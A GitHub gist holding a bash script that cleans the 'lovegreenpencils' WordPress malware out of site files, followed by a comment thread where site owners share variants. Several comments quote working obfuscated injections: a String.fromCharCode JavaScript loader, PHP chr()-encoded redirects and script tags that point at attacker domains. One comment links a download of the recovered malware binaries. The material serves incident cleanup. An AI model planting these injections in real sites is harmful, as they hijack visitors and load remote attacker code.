Skip to content

Instantly share code, notes, and snippets.

@black-dragon74
Created December 2, 2020 21:04
Show Gist options
  • Save black-dragon74/86fc18a91e814019228c02531f0ea01c to your computer and use it in GitHub Desktop.
Save black-dragon74/86fc18a91e814019228c02531f0ea01c to your computer and use it in GitHub Desktop.
Fixes love green pencils wordpress malware
#!/bin/bash
# Regex to fix DB is: "s/<script[\s\S]*?>[\s\S]*?<\/script>//g"
totalInfections=0
filesProcessed=0
echo "Welcome to lovegreenpencils malware fixer by black-dragon74"
echo "This fix is divided into 3 phases."
echo "Phase 1 fixes the \`beckup\` files."
echo "Phase 2 fixes the header injections."
echo "Phase 3 fixes the deep rooted JS PHP and JSON injections"
echo
# Begin phase 1
read -p "Press any key to begin the phase 1: " yay
clear
echo "Scanning....."
for f in $(grep -ril "Element.prototype.appendAfter" ./*); do
# Don't fix the fixer itslef :D
if [[ $f == "./fix.sh" ]]; then
continue;
fi
# If a backup exists, we created it, don't process it again
if [[ $(echo $f | grep ".perlbak") ]]; then
continue;
fi
# Otherwise fix all files recursively
echo "Found file $f"
echo "Backing up and fixing the infection"
echo
perl -pi.perlbak -e 's/Element\.prototype\.appendAfter[\s\S]*?\}\)\(\);//gi' "${f}"
((filesProcessed ++))
done
echo "Phase 1 complete. Processed $filesProcessed files."
((totalInfections += filesProcessed))
filesProcessed=0
# Begin phase 2
read -p "Press any key to begin the phase 2: " yay
clear
echo "Scanning....."
for f in $(grep -ril "REQUEST\['lt'\]" ./*); do
# Don't fix the fixer itslef :D
if [[ $f == "./fix.sh" ]]; then
continue;
fi
# If a backup exists, we created it, don't process it again
if [[ $(echo $f | grep ".perlbak") ]]; then
continue;
fi
# Otherwise fix all files recursively
echo "Found file $f"
echo "Backing up and fixing the infection"
echo
perl -pi.perlbak -e 's/<\?php\ \$v[\s\S]*?\?>//gi' "${f}"
((filesProcessed ++))
done
echo "Phase 2 complete. Processed $filesProcessed files."
((totalInfections += filesProcessed))
filesProcessed=0
# Begin phase 3
read -p "Press any key to begin the phase 3: " yay
clear
echo "Scanning....."
for f in $(grep -ril "lovegreenpencils" ./*); do
# Don't fix the fixer itslef :D
if [[ $f == "./fix.sh" ]]; then
continue;
fi
# If a backup exists, we created it, don't process it again
if [[ $(echo $f | grep ".perlbak") ]]; then
continue;
fi
# Otherwise fix all files recursively
echo "Found file $f"
echo "Backing up and fixing the infection"
echo
perl -pi.perlbak -e "s/<script\ type=\'text\/javascript\'\ src=\'https:\/\/dock\.lovegreenpencils[\s\S]*?<\/script>//gi" "${f}"
((filesProcessed ++))
done
echo "Phase 3 complete. Processed $filesProcessed files."
((totalInfections += filesProcessed))
filesProcessed=0
# Processing complete.
echo
echo "Found, backed up and fixed $totalInfections infected files."
read -p "Processing complete. Press any key to exit. " yay
exit 0
@cooeyau
Copy link

cooeyau commented Dec 3, 2020

Thanks super helpful, you will also need to add to find and remove,

find . -name "*.php" |xargs sed -i "s/https://well.linetoadsactive.com/m.js?n=nb5/#/g"

@black-dragon74
Copy link
Author

black-dragon74 commented Dec 3, 2020

find . -name "*.php" |xargs sed -i "s/https://well.linetoadsactive.com/m.js?n=nb5/#/g"

In the sites I reviewed, this string was not present in any of the files. However, when you open that lovegreenpencils website. You are redirected to this URL. Can you confirm if this URL was actually present in the infected files? Maybe there are multiple versions of this.

BTW, in case your site is infected by this, please note that it also spreads itself to the DB. The regex to sanitize DB is given in the top of this file. It completely removes all script tags from DB. I'd recommend dumping the SQL file, running sed, awk or perl on it and then re-uploading. For anyone else reading this, the command would be: perl -pi.bak -e "s/<script[\s\S]*?>[\s\S]*?<\/script>//g" infected_db.sql

Also, maybe post output of grep -ri "linetoads" ./*?

Regards

@cooeyau
Copy link

cooeyau commented Dec 3, 2020

find . -name "*.php" |xargs sed -i "s/https://well.linetoadsactive.com/m.js?n=nb5/#/g"

In the sites I reviewed, this string was not present in any of the files. However, when you open that lovegreenpencils website. You are redirected to this URL. Can you confirm if this URL was actually present in the infected files? Maybe there are multiple versions of this.

BTW, in case your site is infected by this, please note that it also spreads itself to the DB. The regex to sanitize DB is given in the top of this file. It completely removes all script tags from DB. I'd recommend dumping the SQL file, running sed, awk or perl on it and then re-uploading. For anyone else reading this, the command would be: perl -pi.bak -e "s/<script[\s\S]*?>[\s\S]*?<\/script>//g" infected_db.sql

Also, maybe post output of grep -ri "linetoads" ./*?

Regards

Yep so after first pass with your script i was still having issues, this is an example copy of the backup file after first pass.

<script type='text/javascript' src='https://well.linetoadsactive.com/m.js?n=nb5'></script>/**

  • Front to the WordPress application. This file doesn't do anything, but loads
  • wp-blog-header.php which does and tells WordPress to load the theme.
  • @Package WordPress
    */

/**

  • Tells WordPress to load the WordPress theme and output it.
  • @var bool
    */
    define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require DIR . '/wp-blog-header.php';

More discussion here,
https://stackoverflow.com/a/64921065

@black-dragon74
Copy link
Author

Hmm. So the URL it injects is different in your case. Will update the script to include this. Thanks.

@ImSeaWorld
Copy link

ImSeaWorld commented Dec 5, 2020

subdomain changes, found on my buddies wp site as port.lovegreenpencils.ga

Also added into the header links https://lovegreenpencils.ga/det.php?sit=flex&#038;sid=3&#038;yuid=1&#038;

image
image

Stored in wp_options there's 2 values changed, site_url and home given 2 different URL structures:

https://lovegreenpencils.ga/det.php?sit=flex&sid=3&yuid=1&
https://lovegreenpencils.ga/det.php?sit=flex&sid=2&yuid=1&

I had a ton of hits by searching 'lovegreenpencils' as a char code, credits

$ grep -rnw 'public_html/' -e '108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115'

Functions that are appended onto every main script

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

After clearing out all the javascript additions, I found the shell on an older installation of WordPress. The API was the only thing that was legible to me. There was alternate backdoors sprinkled throughout the build. I ran wp core verify-checksums which resulted in loads of invalid checksums(Note: this doesn't find everything) but will show you all the files that shouldn't be in the filesystem.

image

Some of the files had the comment //scp-173 as well as echo 'I love you,how about you';

image

This function can decode the hex to a string for those curious. credits

function decode($code){
    return preg_replace_callback(
        "@\\\(x)?([0-9a-f]{2,3})@",
        function($m){
            return chr($m[1]?hexdec($m[2]):octdec($m[2]));
        },
        $code
    );
}

I've found some more functions appended onto files like wp-load.php This is another backdoor to remove.

image

Another backdoor hiding in .cagefs/tmp under various random names.

image

@altuno
Copy link

altuno commented Dec 7, 2020

The problem in my case turned out to be the Ultimate Member plugin not updated. This malware was using the security flaw in its previous version, already documented in several different posts: https://www.searchenginejournal.com/wordpress-ultimate-member-plugin-vulnerability/387042/
After cleaning the site and updating the plugin, the issue went away and never returned.

@pradeeppdt
Copy link

pradeeppdt commented Dec 13, 2020

Found all these URLs of scripts in posts. Please update.

<script src='https://flat.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script>
<script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script> <script src='https://drake.strongcapitalads.ga/m.js?n=ns1' type='text/javascript'></script>
<script src='https://cht.secondaryinformtrand.com/m.js?n=ns1' type='text/javascript'></script> <script src='https://dock.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>
<script src='https://well.linetoadsactive.com/m.js?n=ns1' type='text/javascript'></script> <script src='https://start.transandfiestas.ga/m.js?n=ns1' type='text/javascript'></script>
<script src='https://irc.transandfiestas.ga/m.js?n=ns1' type='text/javascript'></script> <script src='https://stop.transandfiestas.ga/m.js?n=jo1' type='text/javascript'></script>

@possan
Copy link

possan commented Jan 7, 2021

@ImSeaWorld - You don't happen to have kept one of the malware binaries from your /tmp/ folder? i'm looking at the same problem on one site and i'd like to verify something with the binary...

@ImSeaWorld
Copy link

ImSeaWorld commented Jan 7, 2021

@ImSeaWorld - You don't happen to have kept one of the malware binaries from your /tmp/ folder? i'm looking at the same problem on one site and i'd like to verify something with the binary...

You're lucky, I just rescued them from the recycle bin.

https://drive.google.com/file/d/1rd1vJjVafyjiaMHjXkrCsd5AYgun-mXh/view?usp=drivesdk

@synstsia
Copy link

Thank you for posting this information and this script. I found myself wasting the entire day cleaning it up.. I'm so fcking angry that people do sht like this

@korawit
Copy link

korawit commented Jan 24, 2021

My site redirect to this url http://main.travelfornamewalking.ga don't know how to fix it

@korawit
Copy link

korawit commented Jan 24, 2021

In my case I only change

update wp_options set option_value='http://yoursite.com' where option_name='siteurl';
update wp_options set option_value='http://yoursite.com' where option_name='home';

@vinvin27
Copy link

Amazing thanks you =)

@synstsia
Copy link

In my case I only change

update wp_options set option_value='http://yoursite.com' where option_name='siteurl';
update wp_options set option_value='http://yoursite.com' where option_name='home';

Be careful with that- this thing pops a lot of back doors and javascript down where it can.. it needs to be cleaned out entirely, as the site forwarding is the least malicious thing it does.

@abelbarraza3
Copy link

I have found a new variation that is getting injected into a couple hundred files. I attempted to download your tool and update it to the new variation I found but it seems like I am doing it wrong.

Here is the new variation:

<?php $a="h"."ea"."der";$a(chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(105).chr(114).chr(99).chr(46).chr(108).chr(111).chr(118).chr(101).chr(103).chr(114).chr(101).chr(101).chr(110).chr(112).chr(101).chr(110).chr(99).chr(105).chr(108).chr(115).chr(46).chr(103).chr(97).chr(47).chr(53).chr(53).chr(114).chr(121).chr(101).chr(114).chr(121).chr(63).chr(105).chr(100).chr(61).chr(50).chr(50).chr(53).chr(56).chr(52).chr(38).chr(114).chr(115).chr(61).chr(50).chr(51).chr(52).chr(54));?>

@vinvin27
Copy link

Do you have cPanel on your hosting account ? If yes, you should have Terminal app to launch thoses commands

@felipesalas1
Copy link

I’m trying to update the code to find the chr, but I’m not making it. Someone now how can add the new variation? I trying with this code.for f in $(grep -ril "\$a=chr.*>"); do

@vinvin27
Copy link

I’m trying to update the code to find the chr, but I’m not making it. Someone now how can add the new variation? I trying with this code.for f in $(grep -ril "\$a=chr.*>"); do

Hello,

I wrote a post (in french) : https://www.vinvin.dev/piratage-de-site-wordpress-cas-des-redirections-lovegreenpencils/
Maybe u can use this : grep -ril '$a="h"."ea"."der"' ./* to find the new variation ?

@felipesalas1
Copy link

I’m trying to update the code to find the chr, but I’m not making it. Someone now how can add the new variation? I trying with this code.for f in $(grep -ril "\$a=chr.*>"); do

Hello,

I wrote a post (in french) : https://www.vinvin.dev/piratage-de-site-wordpress-cas-des-redirections-lovegreenpencils/
Maybe u can use this : grep -ril '$a="h"."ea"."der"' ./* to find the new variation ?

Thank you! I will try this.

If think I found the plugin that have the backdoor. Is a nuked version of elementor Pro

@vinvin27
Copy link

Usually, the hacker infect large amount of file. Beware and launch the grep command on root directory.
Check if you haven't file call "lte_" or something on the root then check if you haven't got any maintenance.php or maintenance folder or wp-sheeep on plugin folder also check if you don"t have wp-stream.php file on root as well.

The best thing I thinks once the cleaning done, its to export DB, Export uploads/ themes/ plugins/ and reinstall fresh WP.

@therealmckellar
Copy link

therealmckellar commented Mar 4, 2021

I am getting this error when running the script:

image

@abelbarraza3
Copy link

I am seeing a trend of a new variation of char code being used.
<?php echo chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(47).chr(106).chr(97).chr(118).chr(97).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(39).chr(32).chr(115).chr(114).chr(99).chr(61).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(116).chr(111).chr(114).chr(101).chr(46).chr(100).chr(111).chr(110).chr(116).chr(107).chr(105).chr(110).chr(104).chr(111).chr(111).chr(111).chr(116).chr(46).chr(116).chr(119).chr(47).chr(100).chr(101).chr(115).chr(116).chr(105).chr(110).chr(97).chr(116).chr(105).chr(111).chr(110).chr(46).chr(106).chr(115).chr(63).chr(122).chr(61).chr(105).chr(38).chr(105).chr(100).chr(61).chr(49).chr(49).chr(50).chr(38).chr(99).chr(108).chr(105).chr(100).chr(61).chr(53).chr(49).chr(50).chr(38).chr(115).chr(105).chr(100).chr(61).chr(55).chr(56).chr(57).chr(54).chr(51).chr(52).chr(53).chr(39).chr(62).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62); ?>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment